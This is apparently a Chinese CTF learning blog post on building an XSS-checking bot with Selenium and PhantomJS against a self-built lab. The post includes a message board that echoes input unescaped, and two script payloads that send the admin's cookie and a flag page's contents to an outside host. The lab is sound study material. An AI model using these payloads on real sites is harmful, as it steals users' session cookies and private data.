XSS bot 初体验

如今CTF的XSS题目很多都是由XSS bot自动Check的,所以我也对XSS bot的原理有了兴趣,初略的学习了一下

0x01 原理

因为XSS主要是利用JS进行攻击的,所以XSS bot的关键当然是能够像浏览器一样解析JS代码。这里就可以用到selenuim这个浏览器自动化测试框架,它支持Java、Python、Ruby、Perl、PHP、JavaScript、C#等多种语言,我这里以python来使用它。

selenuim只是一个框架,主要的功能还是要由webdriver(可以理解为模拟的浏览器内核)来实现。selenuim支持的webdriverchrome webdriver、firefox webdirver、PhantomJS等。前两种webdriver顾名思义,是由Chrome浏览器和Firefox浏览器提供的,可以模拟这两个浏览器对网页的操作,但使用时必须在环境中安装了这两款浏览器。而第三个PhantomJS也是一个模拟浏览器内核的webdriver,但优点是不用额外安装浏览器。我这里使用PhantomJS

0x02 准备

先用pip安装selenuim

pip install selenuim

再去PhantomJS官网下载操作系统对应的包

然后可以去selenuim官方文档看一下基本的使用方法,也可以在用搜索引擎查一查前人的使用经验

0x03 实践

懂了基本的语法之后,就可以动手写一个XSS bot了。

我搭建了一个类似于CTF的环境,由一个留言板页面和一个flag.php组成,flag.php只有携带管理员的cookie才可以返回FLAG。所以我们的目的是在留言板插入XSS语句获得管理员的cookie或者让管理员直接访问flag.php再把返回的结果发到我们的服务器上。这里的管理员就由XSS bot来扮演。

testbot.php(留言板)

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>XSS game</title>
</head>
<body>
    <form method="POST" action="">
        <input name='content' type='text'><br>
        <input type='submit' value="留言">
    </form>
    <br>
<?php
$conn = mysql_connect("localhost:3306","root","root");
if (!$conn){
    die('Could not connect: ' . mysql_error());
}
mysql_select_db("my_db",$conn);

if(isset($_POST['content'])){
    $content = mysql_real_escape_string($_POST['content']);
    $sql = "INSERT INTO contents (content) VALUES ('".$content."')";
    mysql_query($sql,$conn);
}

$sql = "select * from contents";
$res = mysql_query($sql,$conn);
$id = 1;
while($row = mysql_fetch_array($res)){
    echo "<p>" . $id . " " . $row['content'] ."</p>";
    echo "<br>" . "<p>-------------------------------------------------------</p>" . "<br>";
    $id = $id + 1;
}
mysql_close($conn);
?>
</body>
</html>

flag.php

<?php
error_reporting(0);
if($_COOKIE['auth'] == 'admin'){
    $flag="flag{abcdefg}";
    echo $flag;
}else{
    echo 'To get it!';
}
?>

我们先在留言板插入获得管理员cookie的JS代码

<script>(new Image()).src='http://f1sh.site/xss/?cookie='+escape(document.cookie);</script>

然后再插入让管理直接访问flag.php的JS代码

<script>var a=new XMLHttpRequest();a.open('GET','flag.php',false);a.send(null);(new Image()).src ='http://f1sh.site/xss/?flag='+escape(a.responseText);</script>

至此,XSS的攻击完成了,我们可以让我们的“管理员”登场了。
bot.py

# -*- coding: utf-8 -*-

import selenium
from selenium import webdriver
import time

phantomjs_path = "D:/phantomjs/bin/phantomjs"   #phantomjs的储存路径
url = "http://127.0.0.1/testbot.php"
browser = webdriver.PhantomJS(executable_path = phantomjs_path) #模拟浏览器
browser.get(url)
browser.add_cookie({'name': 'auth', 'value': 'admin', 'path': '/', 'domain': '.127.0.0.1'}) #四个值都不能少,不然会报错
while True:
    try:
        browser.get(url)
        print "[*] Request success."
        time.sleep(10)  #假设管理员每10秒看一次留言板
    except Exception as e:
        print "[!] Error: " + str(e)
        continue

运行bot.py,XSS平台马上接到了返回的请求,攻击成功~

0x04 参考

  • https://www.lorexxar.cn/2017/05/12/xss-bot2/

  • http://www.seleniumhq.org/docs/03_webdriver.jsp

发表评论